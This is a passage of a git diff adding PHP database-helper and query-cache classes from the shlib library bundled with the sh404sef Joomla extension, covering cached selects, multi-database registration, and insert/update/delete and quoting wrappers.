$stored; + } + + /** + * Search the query cache for the previously stored + * result of a given database sql query + * (if such cache feature is present and enabled) + * The desired query must have been already prepared and set + * into the ShlDbClass database object passed to this method + * + * @param string $prefix a prefix string to identify db operation, on top of sql query + * @return mixed $read false if nothing found, whatever was found in the cache otherwise + * @throws ShlDbException in case of cache internal error. Cache will be disabled if this happens (for current db instance) + */ + protected function _shlQueryCacheRead($prefix) + { + + $read = false; + if ($this->_shlCanCache()) + { + try + { + // cache id is made of db instance prepended with full sql query + $read = ShlCache_Manager::read($this->instanceName . $prefix . $this->getQuery(), self::CACHE_STATS_DATASET_NAME); + } + catch (Exception $e) + { + // there was an error: log that and disable cache for this instance + $this->queryCacheEnabled = false; + ShlSystem_Log::error('shlib', + __METHOD__ . ': error reading data in query cache for instance %s, disabling cache for this instance (%s)', $this->instanceName, + $e->getMessage()); + } + } + + return is_null($read) ? false : $read; + } + + /** + * Decide whether current opeation can read from/stored to + * query cache. Query cache must be enabled globally, but also, + * if this is a query coming directly from Joomla (ie not + * through our db helper class), query caching from Joomla should + * be enabled as well. + * Second condition is tha the query does not operate + * on one of the exluded db tables + */ + protected function _shlCanCache() + { + + // 1st: enabled/disabled conditions + if (!$this->queryCacheEnabled) + { + return false; + } + if (!$this->_isShLibHelper && !$this->queryCacheEnabledForJoomla) + { + return false; + } + $app = JFactory::getApplication(); + if (!$app->isSite()) + { + return false; + } + + // 2nd: does the query have excluded tables? + $sql = $this->getQuery(); + foreach ($this->queryCacheTableExclusionList as $tableName) + { + if (strpos($sql, $tableName) !== false) + { + return false; + } + } + + // various conditions + // if Joomla! content/categories queries with publish_up/down fields + // don't cache, as these fields are changing every seconds + if (strpos($sql, 'publish_up <=') !== false || strpos($sql, '>= a.publish_up') !== false || strpos($sql, 'publish_down >=') !== false + || strpos($sql, '<= a.publish_down') !== false) + { + return false; + } + + return true; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/dbrecord.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/dbrecord.php new file mode 100644 index 00000000..e8870a70 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/dbrecord.php @@ -0,0 +1,59 @@ +db = new ShlDbClass( $db); + $this->db->queryCacheEnabled = $enableQueryCache; + $this->db->instanceName = $name; + $this->db->queryCacheEnabledForJoomla = $enableForJoomla; + $this->db->queryCacheTableExclusionList = $tablesExclusionList; + $this->enabled = true; + $this->weight = $weight; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/exceptions/exception.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/exceptions/exception.php new file mode 100644 index 00000000..8e1b28cc --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/exceptions/exception.php @@ -0,0 +1,19 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/helpers/helper.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/helpers/helper.php new file mode 100644 index 00000000..5c059d79 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/helpers/helper.php @@ -0,0 +1,1220 @@ +db; + + // return selected instance + return $selectedInstance; + } + + public static function &getDb() + { + return self::getInstance(); + } + + public static function getCacheStats() + { + $stats = array(); + + if (!empty(self::$_databases)) + { + foreach (self::$_databases as $name => $instance) + { + $stats[$name] = $instance->db->shlGetCacheStats(); + } + } + + return $stats; + } + + /** + * Globally enable or disable the query cache + * Applies only to READ db actions + * + * @param boolean $value either true or false, to enable or disable the cache resp. + * @return boolean previous value of query cache enabled flag + */ + public static function switchQueryCache($value = true) + { + $previous = self::$_queryCacheEnabled; + self::$_queryCacheEnabled = $value; + + return $previous; + } + + /** + * Globally enable or disable the query cache for the Joomla DB instance + * Applies only to READ db actions + * + * @param boolean $value either true or false, to enable or disable the cache resp. + * @param array $list array of table names, using Joomla notation: #__table_name + * @return boolean true if successful + */ + public static function switchJoomlaQueryCache($value = true, $exclusionList = null) + { + $switched = false; + + // see #287, Joomla! 3+ does not allow decorating the db object anymore + // as has type hint for JDatabaseDriver in various places + if (version_compare(JVERSION, '3.0.0', 'ge')) + { + return $switched; + } + // store value + self::$_joomlaQueryCacheEnabled = $value; + + // compute exclusion list value + $exclusionList = is_null($exclusionList) ? self::$_defaultQueryCacheTableExclusionList : $exclusionList; + + // contrary to if using this db helper, we must now actually + // enable or disable the query cache on Joomla db instance + // so that it becomes active also for Joomla and other extensions + // that do not use this helper to perform db operations + try + { + $joomlaDb = self::getInstance(self::SHL_DEFAULT); + $joomlaDb->queryCacheEnabledForJoomla = $value; + $joomlaDb->queryCacheTableExclusionList = $exclusionList; + + // now override JOomla instance + if (version_compare(JVERSION, '1.6.0', 'ge')) + { + JFactory::$database = $joomlaDb; // 1.6+ + } + else + { + $db = JFactory::getDbo(); + $db = $joomlaDb; // 1.5 + } + $switched = true; + } + catch (Exception $e) + { + ShlSystem_Log::error('shlib', __METHOD__ . ': unable to switch query cache for joomla ' . ($value ? 'on' : 'off')); + } + return $switched; + } + + /** + * Enable or disable the query cache on a particular db instance + * Applies only to READ db actions + * + * @param string $name db instance name, if empty will apply to default instance + * @param boolean $value either true or false, to enable or disable the cache resp. + * @return object $db the database instance modified + */ + public static function switchInstanceQueryCache($name = '', $value = true) + { + $db = self::getInstance($name, self::OP_TYPE_READ); + $db->queryCacheEnabled = !empty($value); + + return $db; + } + + /** + * Set default list of db tables that should disable + * query caching, when used in a query + * + * @param array $list array of table names, using Joomla notation: #__table_name + * @return array previous list + * @throws ShlException + */ + public static function setDefaultExcludedTablesList($list) + { + if (!is_array($list)) + { + throw new ShlException(__METHOD__ . ': excluded tables list not an array'); + } + + $previous = self::$_defaultQueryCacheTableExclusionList; + self::$_defaultQueryCacheTableExclusionList = $list; + + return $previous; + } + + /** + * Get default list of db tables that should disable + * query caching, when used in a query + * + * @return array list, as an array of strings + */ + public static function getDefaultExcludedTablesList() + { + return self::$_defaultQueryCacheTableExclusionList; + } + + /** + * Set default timeout for query cache servers + * Useful only for memcache and similar cache systems + * + * @param integer $newTTL + * @return integer previous value of TTL + * @throws ShlException + */ + public static function setDefaultTTL($newTTL) + { + $newTTL = (int) $newTTL; + + if ($newTTL < 0) + { + throw new ShlException(__METHOD__ . ': trying to set negative global TTL'); + } + + $previous = self::$_queryCacheDefaultTTL; + self::$_queryCacheDefaultTTL = $newTTL; + + return $previous; + } + + /** + * + * Set up and store a database instance to use + * + * @param string $name reference name for the instance + * @param object $db Joomla database object + * @param string $dataset name of dataset this db can be used for + * @param string $opType the type of db operation this db can be used for (read, write, both) + * @param boolean $enableQueryCache if true, query cache will be enabled on queries to this database + * @param array $list array of table names, using Joomla notation: #__table_name + * @return object the database full record + * @throws ShlDbException + */ + public static function registerDb($name, &$db, $dataset = self::SHL_DEFAULT, $opType = self::OP_TYPE_DEFAULT, $weight = self::DEFAULT_WEIGHT, + $enableQueryCache = true, $exclusionList = null) + { + if (empty($name)) + { + throw new ShlDbException(__METHOD__ . ': Trying to register a database object with no valid name'); + } + + if ((int) $weight < 1) + { + throw new ShlDbException(__METHOD__ . ': Trying to register a database object with an invalid weight: Must be greater than 1'); + } + + // compute exclusion list value + $exclusionList = is_null($exclusionList) ? self::$_defaultQueryCacheTableExclusionList : $exclusionList; + + // store the actual db information + self::$_databases[$name] = new ShlDbClass_Dbrecord($db, $name, $weight, $enableQueryCache, $exclusionList, self::$_joomlaQueryCacheEnabled); + + // then record what it's good for + switch ($opType) + { + case self::OP_TYPE_READ: + case self::OP_TYPE_WRITE: + self::$_datasets[$dataset][$opType][] = $name; + break; + case self::OP_TYPE_BOTH: + self::$_datasets[$dataset][self::OP_TYPE_READ][] = $name; + self::$_datasets[$dataset][self::OP_TYPE_WRITE][] = $name; + break; + default: + throw new ShlDbException(__METHOD__ . ': Trying to set database object with invalid operation type'); + break; + } + + // clean up to avoid double recordings + if (!empty(self::$_datasets[$dataset][self::OP_TYPE_READ])) + { + self::$_datasets[$dataset][self::OP_TYPE_READ] = array_values(array_unique(self::$_datasets[$dataset][self::OP_TYPE_READ])); + } + if (!empty(self::$_datasets[$dataset][self::OP_TYPE_WRITE])) + { + self::$_datasets[$dataset][self::OP_TYPE_WRITE] = array_values(array_unique(self::$_datasets[$dataset][self::OP_TYPE_WRITE])); + } + + // store that we now have more than one db + self::$_multiDbSupportEnabled = true; + + return self::$_databases[$name]; + } + + /** + * + * Disable one particular database instance + * registered with the class. The instance will not + * be used anymore for db requests, until it is + * re-enabled using self::enableDb() + * + * @param string $name reference name for the instance + * @return object the database full record + * @throws ShlDbException + */ + public static function disableDbInstance($name) + { + if ($name == self::SHL_DEFAULT) + { + throw new ShlDbException(__METHOD__ . ': Trying to disable the default database instance'); + } + + if (!empty(self::$_databases[$name])) + { + self::$_databases[$name]->enabled = false; + } + else + { + throw new ShlDbException(__METHOD__ . ': Trying to disable a non existing database instance'); + } + + // perf flag: if only one (or none) db instance left enabled, disable multi db support + self::$_multiDbSupportEnabled = self::_hasMoreThanOneEnabledDb(); + + return self::$_databases[$name]; + } + + /** + * Enable a particular database instance registered + * with the class, that may have been disabled previously + * using self::disableDb(); + * + * @param string $name reference name for the instance + * @return object the database full record + * @throws ShlDbException + */ + public static function enableDbInstance($name) + { + if (!empty(self::$_databases[$name])) + { + self::$_databases[$name]->enabled = true; + } + else + { + throw new ShlDbException(__METHOD__ . ': Trying to enable a non existing database instance'); + } + + self::$_multiDbSupportEnabled = self::_hasMoreThanOneEnabledDb(); + + return self::$_databases[$name]; + } + + /** + * + * Set the currently selected dataset, will be used + * for subsequent operations of this helper class, until + * another one is selected + * + * @param string $name name of dataset to select + * @return string previously selected dataset, if any + * @throws ShlDbException + */ + public static function selectDataset($name = '') + { + if (!empty($name) && empty(self::$_datasets[$name])) + { + throw new ShlDbException(__METHOD__ . ': Trying to select a dataset that has not been set: ' . $name); + } + + $previous = self::$_selectedDataset; + self::$_selectedDataset = $name; + + return $previous; + } + + /** + * Reset selected dataset record to none + * + */ + public static function unselectDataset() + { + $previous = self::$_selectedDataset; + self::$_selectedDataset = ''; + + return $previous; + } + + /** + * + * Set the currently selected database instance, will be used + * for subsequent operations of this helper class, until + * another one is selected + * + * @param string $name name of database instance to select + * @return string previously selected dataset, if any + * @throws ShlDbException + */ + public static function selectDb($name = '') + { + if (!empty($name) && empty(self::$_databases[$name])) + { + throw new ShlDbException(__METHOD__ . ': Trying to select a database that has not been set: ' . $name); + } + + $previous = self::$_selectedDb; + self::$_selectedDb = $name; + + return $previous; + } + + /** + * Reset selected database record to none + * + */ + public static function unselectDb() + { + $previous = self::$_selectedDb; + self::$_selectedDb = ''; + return $previous; + } + + /** + * Prepare, set and execute a select query, returning a single result + * + * usage: + * + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', array( 'nonsef' => 'index.php?option=com_content&view=article&id=12')); + * will select the 'alias' column where nonsef column is index.php?option=com_content&view=article&id=12 + * Alternate where condition syntax: + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', 'amount > 0 and amount < ?', array( '100')); + * If where condition is a string, it will be used literally, with question marks replaced by parameters as + * passed in the next method param. These params are escaped, but the base where condition is not + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectResult($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadResult(); + + return $read; + } + + /** + * Prepare, set and execute a select query, returning a an array of results + * + * usage: + * + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', array( 'nonsef' => 'index.php?option=com_content&view=article&id=12')); + * will select the 'alias' column where nonsef column is index.php?option=com_content&view=article&id=12 + * Alternate where condition syntax: + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', 'amount > 0 and amount < ?', array( '100')); + * If where condition is a string, it will be used literally, with question marks replaced by parameters as + * passed in the next method param. These params are escaped, but the base where condition is not + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @deprecated Use selectColumn() instead + * @throw none (underlying database layer does throw errors) + */ + public static function selectResultArray($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + ShlSystem_Log::debug('shlib', 'Using deprecated ShlDbHelper::selectResultArray() method. Use ShlDbHelper::selectColumn() instead'); + return self::selectColumn($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + } + + /** + * Prepare, set and execute a select query, returning a an array of results + * + * usage: + * + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', array( 'nonsef' => 'index.php?option=com_content&view=article&id=12')); + * will select the 'alias' column where nonsef column is index.php?option=com_content&view=article&id=12 + * Alternate where condition syntax: + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', 'amount > 0 and amount < ?', array( '100')); + * If where condition is a string, it will be used literally, with question marks replaced by parameters as + * passed in the next method param. These params are escaped, but the base where condition is not + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectColumn($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadColumn(); + + return $read; + } + + /** + * Prepare, set and execute a select query, returning a single associative array + * + * usage: + * + * $result = ShlHelperDb::selectAssoc( '#__sh404sef_alias', array('alias', 'id'), array( 'nonsef' => 'index.php?option=com_content&view=article&id=12')); + * will return an array with 2 keys, alias and id, where nonsef column is index.php?option=com_content&view=article&id=12 + * + * $result = ShlHelperDb::selectAssoc( '#__sh404sef_alias', array('alias', 'id'), 'amount > 0 and amount < ?', array( '100')); + * If where condition is a string, it will be used literally, with question marks replaced by parameters as + * passed in the next method param. These params are escaped, but the base where condition is not + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectAssoc($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadAssoc(); + + return $read; + } + + /** + * Prepare, set and execute a select query, returning a an array of associative arrays + * + * usage: + * + * $result = ShlHelperDb::selectAssoc( '#__sh404sef_alias', array('alias', 'id'), array( 'nonsef' => 'index.php?option=com_content&view=article&id=12')); + * will return an array of arrays with 2 keys, alias and id, where nonsef column is index.php?option=com_content&view=article&id=12 + * + * $result = ShlHelperDb::selectAssoc( '#__sh404sef_alias', array('alias', 'id'), 'amount > 0 and amount < ?', array( '100')); + * If where condition is a string, it will be used literally, with question marks replaced by parameters as + * passed in the next method param. These params are escaped, but the base where condition is not + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $key a column name to index the returned array with + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectAssocList($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $key = '', $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadAssocList($key); + + return $read; + } + + /** + * Prepare, set and execute a select query, returning a single object + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectObject($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadObject(); + + return $read; + + } + + /** + * Prepare, set and execute a select query, returning a an object list + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $key a column name to index the returned array with + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectObjectList($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $key = '', $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + // have db driver create the sql query + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadObjectList($key); + + return $read; + } + + /** + * Prepare, set and execute a count query + * + * @param String $table The table name + * @param String $column optional column to be counted (defaults to *) + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function count($table, $column = '*', $mWhere = '', $aWhereData = array(), $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::getInstance('', $opType); + + // have db driver create the sql query + $db->shlSetCountQuery($table, $column, $mWhere, $aWhereData); + + // if not in cache, run query + $read = $db->shlLoadResult(); + $read = empty($read) ? 0 : $read; + + return $read; + } + + /** + * Prepare, set and execute a delete query + * + * @param String $table The table name + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function delete($table, $mWhere = '', $aWhereData = array(), $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + $db->shlSetDeleteQuery($table, $mWhere, $aWhereData)->shlQuery(); + + return $db; + } + + /** + * Prepare, set and execute a delete query based on a + * list of column value + * + * @param String $table The table name + * @param String $mwhereColumn name of column to compare to list of values + * @param Array $aWhereData List of column values that should be deleted + * @param Integer if self::INTEGER, list will be 'intvaled', else quoted + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function deleteIn($table, $mwhereColumn, $aWhereData, $type = self::STRING, $opType = '') + { + if (empty($mwhereColumn) || empty($aWhereData)) + { + return; + } + + // build a list of ids to read + $wheres = $type == self::INTEGER ? self::arrayToIntvalList($aWhereData) : self::arrayToQuotedList($aWhereData); + + // perform deletion + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + return self::delete($table, $db->quoteName($mwhereColumn) . ' in (' . $wheres . ')'); + } + + /** + * Prepare, set and execute and insert query + * + * @param String $table The table name + * @param Array $aData array of values pairs ( ie 'columnName' => 'columnValue') + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function insert($table, $aData, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + $db->shlSetInsertQuery($table, $aData)->shlQuery(); + + return $db; + + } + + /** + * Prepare, set and execute an update query + * + * @param String $table The table name + * @param Array $aData array of values pairs ( ie 'columnName' => 'columnValue') + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function update($table, $aData, $mWhere = '', $aWhereData = array(), $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + $db->shlSetUpdateQuery($table, $aData, $mWhere, $aWhereData)->shlQuery(); + + return $db; + + } + + /** + * Prepare, set and execute an update query on a list + * of items + * + * @param String $table The table name + * @param Array $aData array of values pairs ( ie 'columnName' => 'columnValue') + * @param String $mwhereColumn name of column to compare to list of values + * @param Array $aWhereData List of column values that should be updated + * @param Integer if self::INTEGER, list will be 'intvaled', else quoted + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function updateIn($table, $aData, $mwhereColumn, $aWhereData, $type = self::STRING, $opType = '') + { + if (empty($mwhereColumn) || empty($aWhereData)) + { + return; + } + + // build a list of ids to read + $wheres = $type == self::INTEGER ? self::arrayToIntvalList($aWhereData) : self::arrayToQuotedList($aWhereData); + + // perform deletion + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + return self::update($table, $aData, $db->quoteName($mwhereColumn) . ' in (' . $wheres . ')'); + } + + /** + * Prepare, set and execute an insert or update query + * + * @param String $table The table name + * @param Array $aData An array of field to be inserted in the db ('columnName' => 'columnValue') + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function insertUpdate($table, $aData, $mWhere = '', $aWhereData = array(), $opType = '') + { + + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + $db->shlSetInsertUpdateQuery($table, $aData, $mWhere, $aWhereData)->shlQuery(); + + return $db; + } + + /** + * Prepare, set and execute a custom database query + * + * @param String $query A litteral sql query + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function query($query, $opType = '') + { + $db = self::setQuery($query, $opType)->shlQuery(); + + return $db; + } + + /** + * Set a custom database query, so that + * another method can be chained to execute it + * + * @param String $query A litteral sql query + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function setQuery($query, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + $db->setQuery($query); + + return $db; + } + + /** + * + * Prepare a query for running, quoting or name quoting some + * of its constituents + * ?? will be replaced with name quoted data from the $nameQuoted parameter + * ? will be replaced with quoted data from the $quoted parameter + * + * Example: + * $query = 'select ?? from ?? where ?? <> ?' + * with + * $nameQuoted = array( 'id', '#__table', 'counter') + * $quoted = array( 'test') + * + * will result in running + * + * select `id` from `#__table` where `counter` <> 'test' + * + * + * @param string $query + * @param array $nameQuoted + * @param array $quoted + * @param string $namePlaceHolder + * @param string $dataPlaceHolder + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function quoteQuery($query, $nameQuoted = array(), $quoted = array(), $namePlaceHolder = '??', $dataPlaceHolder = '?', $opType = '') + { + // get a db + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + + // save query for error message + $newQuery = $db->shlQuoteQuery($query, $nameQuoted, $quoted, $namePlaceHolder, $dataPlaceHolder); + $db->setQuery($newQuery); + + return $db; + } + + /** + * + * Runs a query, after quoting or name quoting some + * of its constituents + * ?? will be replaced with name quoted data from the $nameQuoted parameter + * ? will be replaced with quoted data from the $quoted parameter + * + * Example: + * $query = 'select ?? from ?? where ?? <> ?' + * with + * $nameQuoted = array( 'id', '#__table', 'counter') + * $quoted = array( 'test') + * + * will result in running + * + * select `id` from `#__table` where `counter` <> 'test' + * + * + * @param string $query + * @param array $nameQuoted + * @param array $quoted + * @param string $namePlaceHolder + * @param string $dataPlaceHolder + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function runQuotedQuery($query, $nameQuoted = array(), $quoted = array(), $namePlaceHolder = '??', $dataPlaceHolder = '?', + $opType = '') + { + // get a db + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + + // save query for error message + $newQuery = $db->shlQuoteQuery($query, $nameQuoted, $quoted, $namePlaceHolder, $dataPlaceHolder); + + return self::query($newQuery); + } + + /** + * + * Asks db to name quote a string + * + * @param string $string + */ + public static function nameQuote($string) + { + $db = self::getInstance(); + + return $db->quoteName($string); + } + + /** + * + * Asks DB to quote a string + * @param string $string + */ + public static function quote($string) + { + $db = self::getInstance(); + + return $db->Quote($string); + } + + /** + * Quote an array of value and turn it into a list + * of separated, name quoted elements + * + * @param array $data + * @param string $glue + * @return string + */ + public static function arrayToNameQuotedList($data, $glue = ',') + { + return self::_arrayToQuotedList($data, $nameQuote = true, $glue); + } + + /** + * Quote an array of value and turn it into a list + * of separated, quoted elements + * + * @param array $data + * @param string $glue + * @return string + */ + public static function arrayToQuotedList($data, $glue = ',') + { + return self::_arrayToQuotedList($data, $nameQuote = false, $glue); + } + + /** + * Quote an array of value and turn it into a list + * of separated, quoted elements + * + * @param array $data + * @param boolean $nameQuote if true, data is namedQuoted, otherwise Quoted + * @param string $glue + * @return string + */ + private static function _arrayToQuotedList($data, $nameQuote = false, $glue = ',') + { + $list = ''; + if (empty($data) || !is_array($data)) + { + return 